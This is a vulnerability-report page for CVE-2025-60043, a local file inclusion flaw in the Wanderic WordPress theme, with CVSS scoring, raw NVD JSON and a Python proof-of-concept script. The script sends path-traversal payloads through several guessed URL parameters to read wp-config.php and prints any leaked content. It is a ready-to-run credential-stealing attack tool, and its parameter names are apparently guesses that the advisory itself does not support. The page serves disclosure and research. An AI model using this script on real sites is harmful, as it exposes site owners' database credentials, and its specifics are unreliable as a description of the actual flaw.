Security Vulnerability Report
中文
CVE-2025-60043 CVSS 8.1 HIGH

CVE-2025-60043

Published: 2025-12-18 08:16:04
Last Modified: 2026-04-27 16:16:29

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Wanderic wanderic allows PHP Local File Inclusion.This issue affects Wanderic: from n/a through <= 1.0.10.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Wanderic主题 <= 1.0.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60043 PoC - Wanderic Theme Local File Inclusion # Target: WordPress site with Wanderic theme <= 1.0.10 import requests import sys def exploit_lfi(target_url, filename='wp-config.php'): """ Exploit Local File Inclusion vulnerability in Wanderic theme """ # Common vulnerable parameter patterns vulnerable_params = [ 'template', 'theme', 'page', 'file', 'include' ] # Path traversal payload to read sensitive files lfi_payload = f'../../../../../../../../{filename}' print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {filename}") print(f"[*] Payload: {lfi_payload}") for param in vulnerable_params: try: # Construct exploit URL exploit_url = f"{target_url}/?{param}={lfi_payload}" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } response = requests.get(exploit_url, headers=headers, timeout=10, verify=False) # Check if file content was leaked if response.status_code == 200: # Check for common file signatures if '<?php' in response.text or 'DB_NAME' in response.text or 'wordpress' in response.text.lower(): print(f"[+] SUCCESS! File content leaked via parameter: {param}") print(f"[+] Content preview:") print(response.text[:500]) return True except requests.RequestException as e: print(f"[-] Request failed for parameter {param}: {e}") print("[-] Exploitation failed - target may not be vulnerable or parameter not found") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-60043.py <target_url> [file_to_read]") print("Example: python cve-2025-60043.py http://target.com wp-config.php") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else 'wp-config.php' exploit_lfi(target, file_to_read) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60043", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:03.690", "lastModified": "2026-04-27T16:16:29.480", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Wanderic wanderic allows PHP Local File Inclusion.This issue affects Wanderic: from n/a through <= 1.0.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/wanderic/vulnerability/wordpress-wanderic-theme-1-0-10-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}